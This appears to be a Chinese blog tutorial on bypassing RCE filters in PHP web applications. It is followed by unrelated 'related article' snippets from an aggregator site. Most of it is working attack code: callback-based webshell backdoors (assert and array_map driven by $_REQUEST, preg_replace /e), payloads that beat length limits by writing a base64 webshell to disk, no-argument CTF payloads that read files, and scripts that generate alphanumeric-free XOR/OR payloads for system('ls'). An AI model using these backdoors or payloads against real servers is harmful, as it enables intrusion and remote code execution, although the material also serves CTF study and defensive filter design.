当前位置: 首页 > news >正文

WEB安全--RCE--RCE的绕过

一、回调函数的绕过(PHP)

1.1、回调函数

1.1.1、原理:

回调函数(Callback Function)指的是将函数名匿名函数作为参数传递给另一个函数,从而在特定条件下调用该函数。

以一个常见的回调函数为例,如下,call_user_func()接收了两个参数,然后它会将第二个参数交给第一个参数执行:

<?php
call_user_func('system', phpinfo());

1.2、回调函数的利用

1.2.1、原理:

既然可以通过这种方式传参,那是不是可以进行如下的修改当做后门呢:

<?php
//call_user_func('system', phpinfo());
call_user_func_array('assert', array($_REQUEST['pass']));

显然也是可行的,且php中还有很多回调函数,所以我们可以依据这个形式做一些延伸来绕过一些过滤。

1.2.2、array_filter、array_map:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

这里的两种方式是大相径庭的,依靠两个传参:e、pass

以array_filter为例,它的内部接了两个参数,而第二个参数做了一个base64解码的操作,所以我们可以在用get传参时将e对应的值用base64编码,然后post传参的数据会被赋值给arr并以数组的形式放在回调函数中并提交给解码后的函数e执行。

1.2.3、assert+回调函数(php>=5.4.8):

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition,也就是说我们可以往assert函数中传入一个或两个参数,所以下面的利用方式就应运而生了:

uasort:

针对数组排序的函数,所以要传两个或两个以上的值的数组,arr中有两个值,这时我们将assert用base64编码后再get传参赋值给e,此时在uasort中会将arr中的两个值都交给解码后的assert处理,并且assert也不会报错。

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

uksort:

原理如上,区别是该函数是处理键值对中的key值,所以从arr中提取出的值和上面的一样,跟=>1、=>2没有什么关系。

array_reduce:

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

array_udiff:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

1.2.4、基于preg_replace函数的回调函数:

首先我们来了解一下preg_replace:

preg_replace($patterns, $replacements, $string)#接收三个参数:匹配模式、替换后的值、原始值

而在PHP官方手册中针对preg_replace还有如下补充:

也就是说,只要在正则匹配中用e这个修饰符,替换后的值会被eval()执行得到新值并替换原始值,也就是$replacements还会被eval($replacements)处理然后覆盖。

通过例子深入了解一下这个函数的处理流程:

<?phpfunction complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}#payload:?\S*={${phpinfo()}}

1、我们的payload进去后被处理成:$re = \S*   $str = {${phpinfo()}}

2、接收参数:preg_replace('/(' . $re . ')/ei' , 'strtolower("\\1")' , $str)

3、/e:eval(strtolower("{${phpinfo()}}"))

4、成功执行

通过上面的介绍我们可以知道能够利用\e这个修饰符进行命令执行,所以在回调函数的构造中我们也可以利用这个特性:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');

以array_walk为例:

一般情况下,回调函数接收两个参数;array参数的值作为第一个,键名作为第二个,剩下的为空' '

'|.*|e' 中的 e 其实就相当于preg_replace('|.*|e' , $_POST['pass'] , ' ')

而 .* 表示匹配所有,并且会提交给eval再执行一遍,这也就是相当于eval($_POST['pass'] )

这里我认为我们可以把e这个修饰符看做eval(),这样就更好理解了。

并且|e这个模式在php5.6的版本就被弃用了,php7.3被完全废弃。

1.2.5、单参数回调函数利用:

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

1.2.6、create_function:

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert:

<?php
preg_replace_callback('/.+/i', 
create_function('$arr', 'return assert($arr[0]);'), 
$_REQUEST['pass']);

同理:

<?php
mb_ereg_replace_callback('.+', 
create_function('$arr', 'return assert($arr[0]);'), 
$_REQUEST['pass']);

二、EVAL长度限制的绕过

2.1、后端filter

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) 
{eval($param);
}

2.2、绕过方式

2.2.1、`$_GET[1]`;(length=10)

`$_GET[1]`#具体payload:
?param=`$_GET[1]`;&touch /tmp/shell.txt

2.2.2、base64编码单字符追加&include$_GET[1];(length=16)

#base64编码:
<?php eval($_POST[9]); ?>  --->  PD9waHAgZXZhbCgkX1BPU1RbOV0pOw#将木马逐个字符地写入到文件N中:
?1=file_put_contents&param=$_GET[1](N,P,8); 
?1=file_put_contents&param=$_GET[1](N,D,8);
?1=file_put_contents&param=$_GET[1](N,9,8);
?1=file_put_contents&param=$_GET[1](N,w,8);
...
?1=file_put_contents&param=$_GET[1](N,w,8);#PHP伪协议解码读取
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

编码原因是因为<  ? 这种符号file_put_contents不能识别写入

?1=file_put_contents&param=$_GET[1](N,P,8);  ===  ?param=file_put_contents(N,P,8);

N:文件名

P:内容

8:追加(php是基于c语言开发的,而8在c底层对应的是追加)

2.2.3、回调函数+变长参数&usort(...$_GET);(length=16)

#get传参:
?1[]=test&1[]=phpinfo();&2=assert#post传参:
param=usort(...$_GET);

. . .  可变长参数的定义方式

也就是说get的传参都会被...$_GET接收到,从而构成回调后门

三、Linux命令长度限制的绕过

2.1、后端filter

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) 
{ echo shell_exec($param);
}

2.2、绕过方式

2.2.1、匹配临时文件&.+/t*/*(length=7)

?param=.+/t*/*#上传txt文件,文件会先存储在Linux的临时目录中#我们在文件中写入系统命令,参数匹配到该文件就会执行命令

2.2.2、待拓展: (

四、基于RCTF2018题目的分析与延伸(无参绕过)

4.1、RCTF2018

4.1.1、后端filter

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
} else {show_source(__FILE__);
}

这里的正则过滤目的是限制我们只能传入sort(sum())这样的形式,不过函数内不能有参数。

4.1.2、绕过方式

?code=eval(next(current(get_defined_vars)));&b=print_r(scandir('./'));print_r(file_get_contents('../flag'))

get_defined_vars() 获取所有变量

current(get_defined_vars()) 假设返回 $_GET 数组

next($_GET) 获取 $_GET 数组的第二个值,也就是 b 参数的内容

eval() 执行 b 参数中的代码

也就是说:

?code=eval(next(current(get_defined_vars)));&b=print_r(scandir('./'));

等价于:

eval("print_r(scandir('./'));");

最后再读出flag即可。

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))));

4.2、无参数读文件&RCE

4.2.1、后端filter

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) 
{    eval($_GET['code']);
}
?>

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 A-Za-z0-9_,然后(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ; 

和上面的RCTF2018类似,我们只能思考传入sort(sum())这样的形式来达到代码执行或是命令执行的目的。

4.2.2、绕过方式

根据RCTF2018读flag的方式思考,我们可以发现最后是通过 eval("print_r(scandir('.'));"); 这样的方式查看目录的,而其中的 . 我们不能直接传入,那是否可以通过一些函数构造出这个 . 呢?

获取"."的方式有很多,下面列举两个:

1、localeconv():

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

所以可以通过下面方式读文件:

print_r(scandir(current(localeconv())));

2、chr()+time():

chr(46)就是字符"."

chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

time()返回一段数字546321961484

localtime(time())以数组形式显示当前时间,第一个值是当前秒46

current(localtime(time()))取第一个值46

chr(current(localtime(time())))得到字符"."

所以我们就可以构成下面的payload查看当前目录文件:

print_r(scandir(current(localtime(time()))));

3、补充:

php函数有很多,绕过方式也不止上面两种,不过原理都大相径庭。

current却是关键一环,但是如果current()这样的函数被禁用了又怎么办呢?

我们可以用pos()、reset()这样的函数代替。


我们目前能看到当前目录的文件,又该怎么去访问文件内部呢?

array_rand(array_flip())任意文件读取

array_flip()是交换数组的键和值

array_rand()是随机返回一个数组

搭配使用构建payload:

show_source(array_rand(array_flip(scandir(getcwd()))));

scandir(getcwd()):

多刷新几次,就能查看当前目录中所有的文件:

或者是:

show_source(array_rand(array_flip(scandir(current(localeconv())))));

如果目标文件不在当前目录呢?

1、dirname():

dirname(): 返回路径中的目录部分print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

2、getcwd()构造"..":

getcwd(): 返回一串数组,其中第一个值是. 第二个值是..next(): 移动指针从第一个值到第二个值print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

五、RCE无字母数字绕过

5.1、后端filter

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);
}

5.2、绕过方式

5.2.1、异或运算绕过:

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

以第二个filter的绕过为示例:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$$__;
$_($___[_]); 

第一个变量 $_ 异或计算后的字符串是 assert;

第二个变量 $__ 异或计算后的字符串是 _POST;

第三个变量 $___ 将 $ 与 $__ 拼接,也就是 $_POST

所以最终的$_($___[_]); 就等于 assert($_POST[_]);

当然我们也可以通过这种方式构建命令执行或代码执行,不过为了获得相应的字符我们需要编写脚本筛选出这些字符:

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据filter的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

自动化组合字符串:

import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

运行结果:

[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");

5.2.2、或运算绕过:

原理同上,只是处理方式不同

字符筛选脚本:

<?php$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

自动化组合字符串:

import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

生成payload:

[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

相关文章:

WEB安全--RCE--RCE的绕过

一、回调函数的绕过&#xff08;PHP&#xff09; 1.1、回调函数 1.1.1、原理&#xff1a; 回调函数&#xff08;Callback Function&#xff09;指的是将函数名或匿名函数作为参数传递给另一个函数&#xff0c;从而在特定条件下调用该函数。 以一个常见的回调函数为例&#…...

uni-app:指引蒙层

组件说明 指引蒙层组件: 通过id标签,突出对应id中的模块; 可以自定义提示词。 点击任意位置关闭蒙层 效果展示和使用示例 切换id之后的效果: 代码实现 <template><view class="guide-mask" v-if="showMask" @click="hideMask"&g…...

什么是CMS?常用CMS有哪些?

一、内容管理系统&#xff08;Content Management System&#xff09;‌ ‌什么是CMS‌&#xff1a;位于 Web 前端&#xff08;服务器&#xff09;和后端办公系统之间的软件系统&#xff0c;用于内容创建、编辑、审批和发布。支持文本、图片、视频、数据库等各类数字内容的管理…...

【Es】基础入门:开启全文搜索的大门

文章目录 一、Elasticsearch 是什么​二、核心概念解读​索引&#xff08;Index&#xff09;​文档&#xff08;Document&#xff09;​映射&#xff08;Mapping&#xff09;​分片&#xff08;Shard&#xff09;​副本&#xff08;Replica&#xff09;​ 三、基本操作入门​安…...

74. Linux设备树详解

一、什么是设备树 1、uboot启动内核用到zImage&#xff0c;imx6ull-alientek-emmc.dtb。bootz 80800000 – 83000000. 80800000 —zImage 83000000—dtb 2、设备树&#xff1a;设备和树。 设备树(Device Tree)&#xff0c;将这个词分开就是“设备”和“树”&#xff0c;描述设…...

从责任链模式聊到aware接口

从责任链模式聊到aware接口 责任链是什么&#xff1f; 责任链模式是一种行为型设计模式&#xff0c;将多个对象连接成一条链&#xff0c;并且沿着这条链传递请求&#xff0c;让多个对象都有机会处理这个请求&#xff0c;请求会顺着链传递&#xff0c;直到某个对象处理它为止。…...

在win11 环境下 新安装 WSL ubuntu + 换国内镜像源 + ssh + 桌面环境 + Pyhton 环境 + vim 设置插件安装

在win11 环境下 新安装 WSL ubuntu ssh gnome 桌面环境 Pyhton 环境 vim 设置插件安装 简单介绍详细流程换国内镜像源安装 ssh 桌面环境python 环境vim 设置插件安装 简单介绍 内容有点长&#xff0c;这里就先简单描述内容了。主要是快速在 Win11 搭建一个 wsl 的 linux 环…...

考研408-数据结构完整代码 线性表的链式存储结构 - 单链表

单链表操作详解&#xff08;C实现&#xff09; 目录 单链表尾插法创建单链表头插法创建删除指定节点按值查找按序号查找插入节点完整代码示例注意事项总结 尾插法创建 #include<bits/stdc.h> using namespace std;typedef struct LNode {int data;struct LNode* next;…...

使用Python爬虫获取淘宝App商品详情

在电商领域&#xff0c;获取商品详情数据对于市场分析、竞品研究和用户体验优化至关重要。淘宝作为国内领先的电商平台&#xff0c;提供了丰富的商品资源。虽然淘宝App的数据获取相对复杂&#xff0c;但通过Python爬虫技术&#xff0c;我们可以高效地获取淘宝App商品的详细信息…...

在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式

在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式时&#xff0c;通常是由于 网络配置错误、桥接适配器选择不当或主机网络环境限制 导致。以下是详细的排查和解决方法&#xff1a;我采用第一步就解决了问题 1. 检查 VMware 桥接模式配置 步骤 1&#xff1a;…...

2025前端八股文终极指南:从高频考点到降维打击的面试突围战

2025前端八股文终极指南&#xff1a;从高频考点到降维打击的面试突围战 一、2025前端八股文核心考点重构 1.1 新型响应式系统三连问 Vue3信号式响应性&#xff1a; // 信号式响应性底层实现 const [count, setCount] createSignal(0) effect(() > {console.log("当…...

MIPS-32架构(寄存器堆,指令系统,运算器)

文章目录 0 Preview:寄存器32通用0 $zero1 $at2—3 \$v0-$v14—7 \$a0-$a38—15 \$t0-$t716—23 \$s0-$s724—25 \$t8-$t926—27 \$k0-$k128 $gp29 $sp30 $fp 指令系统运算存储器 0 Preview: MIPS架构有32位版本和64位版本&#xff0c;本文介绍32位版本 寄存器 正如笔者曾说…...

MySQL数据库和表的操作之SQL语句

&#x1f3af; 本文专栏&#xff1a;MySQL深入浅出 &#x1f680; 作者主页&#xff1a;小度爱学习 MySQL数据库和表的操作 关系型数据库&#xff0c;都是遵循SQL语法进行数据查询和管理的。 SQL语句 什么是sql SQL&#xff1a;结构化查询语言(Structured Query Language)&…...

Ubuntu在VMware中无法全屏

Ubuntu在VMware中无法全屏 方法&#xff1a;安装open-vm-tools 在Ubuntu打开终端&#xff1a; 1.输入&#xff1a; sudo apt-get install open-vm-tools2.安装依赖&#xff1a; sudo apt-get install open-vm*3.重启Ubuntu reboot...

[C++面试] 智能指针面试点(重点)续3

[C面试] RAII资源获取即初始化&#xff08;重点&#xff09;-CSDN博客 [C面试] 智能指针面试点&#xff08;重点&#xff09;-CSDN博客 [C面试] 智能指针面试点&#xff08;重点&#xff09;续1-CSDN博客 [C面试] 智能指针面试点&#xff08;重点&#xff09;续2-CSDN博客 …...

借助FastAdmin和uniapp,高效搭建AI智能平台

在数字化办公时代&#xff0c;效率与协作是企业发展的核心竞争力。传统的办公工具虽然功能丰富&#xff0c;但在面对复杂多变的团队协作需求时&#xff0c;往往显得力不从心。为了解决这一痛点&#xff0c;我们推出了一款全新的办公AI平台&#xff0c;它不仅能够满足文字和语音…...

【弹性计算】异构计算云服务和 AI 加速器(四):FPGA 虚拟化技术

《异构计算云服务和 AI 加速器》系列&#xff0c;共包含以下文章&#xff1a; 异构计算云服务和 AI 加速器&#xff08;一&#xff09;&#xff1a;功能特点异构计算云服务和 AI 加速器&#xff08;二&#xff09;&#xff1a;适用场景异构计算云服务和 AI 加速器&#xff08;…...

Unity功能模块一对话系统(5)-完善对话流程及功能

现在我们的文本仍然是单句显示的&#xff0c;这还不是我们想要的效果&#xff0c;本期让我们完善对话流程&#xff0c;并使用SO&#xff08;ScriptableObject&#xff09;来进行一段对话序列的配置和动态加载。 最终效果功能展示 功能一&#xff1a;场景内可根据资源序号ID来…...

Ubuntu 系统中安装 Nginx

步骤 1&#xff1a;更新软件包列表 在安装前&#xff0c;先更新系统软件包列表&#xff1a; sudo apt update步骤 2&#xff1a;安装 Nginx 通过 apt 直接安装 Nginx&#xff1a; sudo apt install nginx -y步骤 3&#xff1a;验证安装 安装完成后&#xff0c;检查 Nginx …...

Elasticsearch:使用 Azure AI 文档智能解析 PDF 文本和表格数据

作者&#xff1a;来自 Elastic James Williams 了解如何使用 Azure AI 文档智能解析包含文本和表格数据的 PDF 文档。 Azure AI 文档智能是一个强大的工具&#xff0c;用于从 PDF 中提取结构化数据。它可以有效地提取文本和表格数据。提取的数据可以索引到 Elastic Cloud Serve…...

如何 编译 px4

DeepSeek-R1满血版 回答完成 深度思考完成 用时27秒&#xff0c;搜索全网29篇资料 以下是详细的PX4固件编译教程&#xff0c;综合多平台及常见问题解决方案&#xff1a; 一、环境准备 ‌系统要求‌ ‌Ubuntu 20.04/22.04‌&#xff08;推荐&#xff09;或 ‌MacOS 12‌ Windo…...

pycharm2024.1.1版本_jihuo

目录 前置&#xff1a; 步骤&#xff1a; step one 下载软件 step two 卸载旧版本 1 卸载软件 2 清除残余 step three 下载补丁 step four 安装2024.1.1版本软件 step five 安装补丁 1 找位置放补丁 2 自动设置环境变量 step six 输入jihuo码 前置&#xff1a; 之…...

LLaMA Factory微调后的大模型在vLLM框架中对齐对话模版

LLaMA Factory微调后的大模型Chat对话效果&#xff0c;与该模型使用vLLM推理架构中的对话效果&#xff0c;可能会出现不一致的情况。 下图是LLaMA Factory中的Chat的对话 下图是vLLM中的对话效果。 模型回答不稳定&#xff1a;有一半是对的&#xff0c;有一半是无关的。 1、未…...

Vulnhub:Digitalword.local: FALL靶机渗透

将靶机按照图中连接方式打开&#xff0c;fall在virtualBox中打开 信息收集 扫描得ip arp-scan -l 扫描端口 nmap -A -T4 -sV -p- 扫描目录 gobuster dir -u http://192.168.117.160 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 一个一个…...

androidstudio安装完成后创建新的示例项目编译报错解决

项目场景&#xff1a; 提示&#xff1a;这里简述项目相关背景&#xff1a; 安装完成android studio想要编译一个自带的demo项目&#xff0c;没想到一直有编译报错&#xff0c;最后终于搞好了&#xff0c;记录下避免再踩坑。 androidstudio安装完成后创建新的示例项目编译报错…...

C#/.NET/.NET Core技术前沿周刊 | 第 31 期(2025年3.17-3.23)

前言 C#/.NET/.NET Core技术前沿周刊&#xff0c;你的每周技术指南针&#xff01;记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿&#xff0c;助力技术成长与视野拓宽。 欢迎投稿、推荐…...

QT 跨平台发布指南

一、Windows 平台发布 1. 使用 windeployqt 工具 windeployqt --release --no-compiler-runtime your_app.exe 2. 需要包含的文件 应用程序 .exe 文件 Qt5Core.dll, Qt5Gui.dll, Qt5Widgets.dll 等 Qt 库 platforms/qwindows.dll 插件 styles/qwindowsvistastyle.dll (如果使…...

数制——FPGA

1、定点数 定点数的三种表示方式&#xff1a; 原码&#xff1a;符号位 绝对值 表示方法 反码&#xff1a;正数的反码表示 与原码表示一致&#xff0c;负数的反码表示 除符号位&#xff0c;其他位全都取反 补码&#xff1a;正数的补码表示 与原码表示一致&#xff0c;负数的补码…...

车载以太网网络测试 -25【SOME/IP-报文格式-1】

1 摘要 本专题接着上一专题对SOME/IP进行介绍&#xff0c;主要对SOME/IP报文格式以及定义的字段进行详细介绍&#xff0c;有助于在实际项目过程中对SOME/IP报文的理解。 上文回顾&#xff1a; 车载以太网网络测试 -24【SOME/IP概述】 2 SOME/IP-报文格式 通过上个专题介绍&a…...

Kubernetes》》k8s》》Replication Controller

RC(Replication Controller) 应用托管在kubernetes之后&#xff0c;kubernetes需要保证应用能够持续运行&#xff0c;这是RC的工作内容&#xff0c;它会确保任何时间kubernetes中都有指定数量的Pod在运行。在此基础上&#xff0c;RC还提供了一些更高级的特性&#xff0c;比如滚…...

力扣HOT100之矩阵:73. 矩阵置零

这道题我没有想到什么好的办法&#xff0c;直接暴力AC了&#xff0c;直接遍历两次矩阵&#xff0c;第一次遍历用两个向量分别记录出现0的行数和列数&#xff0c;第二次遍历就判断当前的元素的行数或者列数是否出现在之前的两个向量中&#xff0c;若出现了就直接置零&#xff0c…...

天锐蓝盾终端安全防护——企业终端设备安全管控

从办公室的台式电脑到员工手中的移动终端&#xff0c;这些设备不仅是工作的得力助手&#xff0c;更是企业数据的重要载体。然而&#xff0c;随着终端设备的广泛使用&#xff0c;安全风险也如影随形。硬件设备使用不当、数据随意传输等问题频发&#xff0c;使得企业数据面临着泄…...

【博客】使用GithubAction自动同步obisidian和hexo仓库

使用Github Action自动同步obisidian和hexo仓库&#xff0c;避免手动操作。 本文首发于❄慕雪的寒舍 1. 烦恼 先来说说慕雪现在的笔记和博客是怎么管理的吧&#xff0c;我正在使用两套笔记软件 思源笔记&#xff1a;私密性高一些&#xff0c;不是博客的笔记都在这里面。由于思…...

UE5学习笔记 FPS游戏制作23 区分敌我,寻找敌对角色

文章目录 方法1 tag方法2 变量添加变量和函数防止队友伤害 修改Task使用球形检测查找敌人场景面板直接编辑属性 方法1 tag 角色蓝图身上有一个tag标签&#xff0c;可以通过标签内容区分队伍 通过ActorHasTag判断一个Actor是否有对应的标签 方法2 变量 添加变量和函数 在s…...

ECharts各类炫酷图表/3D柱形图

一、前言 最近鸡米花实现了各类的炫酷的图表&#xff0c;有3D柱形图、双边柱形图以及异形柱形图&#xff0c;好了&#xff0c;直接上图&#xff1a; 二、效果图 一个个来吧&#xff0c;下面就是代码啦&#xff0c;注意&#xff0c;一下图表展示的宽高均为800px*300px 三、异形横…...

AI基础03-视频数据采集

上篇文章我们学习了图片的数据采集&#xff0c;今天主要了解一下视频数据采集的方法。视频是由一系列图像构成的&#xff0c;其中每一张图片就是一帧。视频数据采集方法通常有自动图像采集和基于处理器的图像采集两种。我们学习一下如何利用python 工具和笔记本计算机摄像头进行…...

docker-compose部署prometheus+grafana+node_exporter+alertmanager规则+邮件告警

目录 一.docker-compose文件 二.配置文件 三.文件层级关系&#xff0c;docker-compose和配置文件位于同级目录 四.node_exporter页面json文件 五.效果展示 prometheusalertmanager邮件告警 grafana面板效果 六.涉及离线包 一.docker-compose文件 [rootsulibao prometh…...

CPM:大规模生成式中文预训练语言模型

摘要 预训练语言模型&#xff08;PLMs&#xff09;已被证明对各种下游自然语言处理&#xff08;NLP&#xff09;任务有益。最近&#xff0c;GPT-3 以 1750 亿参数和 570GB 训练数据引起了广泛关注&#xff0c;因为它具备少样本&#xff08;甚至零样本&#xff09;学习的能力。…...

k8s scheduler几种扩展方式的关系及区别

网上关于scheduler扩展介绍的文章很多&#xff0c;但都是东说一句西说一嘴&#xff0c;完全没有逻辑性&#xff0c;对于逻辑建构者看着很痛苦&#xff0c;这篇文章不会深入教你怎么扩展&#xff0c;而是教你几种扩展方式的关系和逻辑结构&#xff1a; 目前Kubernetes支持五种方…...

Spring Boot 3.4.3 基于 SpringDoc 2 和 Swagger 3 实现项目接口文档管理

在现代企业级应用开发中&#xff0c;前后端分离已成为主流模式&#xff0c;前端负责界面呈现&#xff0c;后端专注提供 RESTful API 接口。然而&#xff0c;接口文档的编写和维护往往是开发过程中的痛点。Spring Boot 3.4.3 结合 SpringDoc 2 和 Swagger 3&#xff0c;为开发者…...

前端D3.js面试题及参考答案

目录 解释 D3.js 中 enter ()、update ()、exit () 的作用及典型应用场景 描述数据连接(Data Join)的原理,如何通过 data () 方法实现数据集与 DOM 元素的动态绑定? 如何利用 datum () 实现单个元素的数据绑定?与 data () 有何区别? 在动态数据更新时,如何通过 merge…...

Docker实现MySQL主从复制配置【简易版】

Docker实现MySQL主从复制配置 环境准备 安装docker 拉取MySQL 8.0镜像 docker pull mysql:8.0#检查 docker images | grep mysql代码流程 由于Mysql8.0的ssl验证十分繁琐&#xff0c;在创建容器的时候一定要禁掉 创建自定义网络 docker network create mysql-replication-ne…...

IDEA中打开项目Vue+Vue基本语法

一、IDEA中打开项目 1.IDEA中安装Vue基本插件 2.项目结构 项目根目录 node_modules : npm 加载的项目依赖模块 public : 存放静态资源&#xff0c;如图片、视频等。 src : 项目源码目录&#xff0c;包含主要的开发文件。 index.html : 首页入口文件&#xff0c;可以添…...

【深度学习新浪潮】图像修复(Image Inpainting)技术综述:定义、进展与应用展望

本文为精简版,完整技术细节与参考文献可与作者讨论。 1. 图像修复的定义与核心目标 图像修复(Image Inpainting)是一种通过算法手段填补图像中缺失区域或移除不需要对象的技术,其核心目标是利用图像上下文信息生成与周围像素一致且视觉自然的内容。该技术通过计算机视觉和…...

【实战】解决图片 Hover 抖动问题的完整指南

在开发网站时&#xff0c;很多人都会遇到一个常见问题&#xff1a;鼠标移动到图片上&#xff0c;图片放大&#xff0c;结果发生抖动或闪烁。这个问题往往伴随着后端接口请求、JS 动态追加 DOM 等复杂行为。 本文将深入剖析这个问题的成因&#xff0c;并提供一套彻底的解决方案…...

java容器

一、List 接口实现类 1. ​ArrayList 特性:基于动态数组实现,支持快速随机访问(时间复杂度 O(1)),但插入/删除元素时需移动后续元素(时间复杂度 O(n)) 一、核心方法分类 ​添加元素 add(E e):尾部追加元素,均摊时间复杂度O(1)add(int index, E element):指定位置插入…...

arthas之jvm相关命令

文章目录 1. dashboard2. thread线程相关3. jvmTHREAD相关文件描述符相关 4. sysprop5. 小结6. sysenv7. vmoption8. getstatic9. ognl10. 小结 1. dashboard 作用&#xff1a;显示当前系统的实时数据面板&#xff0c;按q或ctrlc退出 数据说明 ID: Java级别的线程ID&#xff…...

UDP视频传输中的丢包和播放花屏处理方法

在处理UDP视频传输中的丢包和花屏问题时,需要结合编码优化、网络传输策略和接收端纠错技术。以下是分步骤的解决方案: 1. 前向纠错(FEC,Forward Error Correction) 原理:在发送数据时附加冗余包,接收方通过冗余信息恢复丢失的数据包。 实现方法: 使用Reed-Solomon、XO…...

蓝桥杯 班级活动

问题描述 小明的老师准备组织一次班级活动。班上一共有 n 名同学&#xff08;n 为偶数&#xff09;&#xff0c;老师想把所有同学进行分组&#xff0c;每两名同学一组。 为了公平&#xff0c;老师给每名同学随机分配了一个 n 以内的正整数作为 id&#xff0c;第 i 名同学的 i…...

Open webui的使用

问题 之前本地量化模型管理器ollama的文章&#xff0c;我们知道可以通过ollama来管理本地量化模型&#xff0c;也能够在命令行中与相关模型进行对话。现在我们想要在有个web页面通过浏览器来与本地模型对话。这里我们就使用Open webui作为界面来与本地模型对话。 安装启动 这…...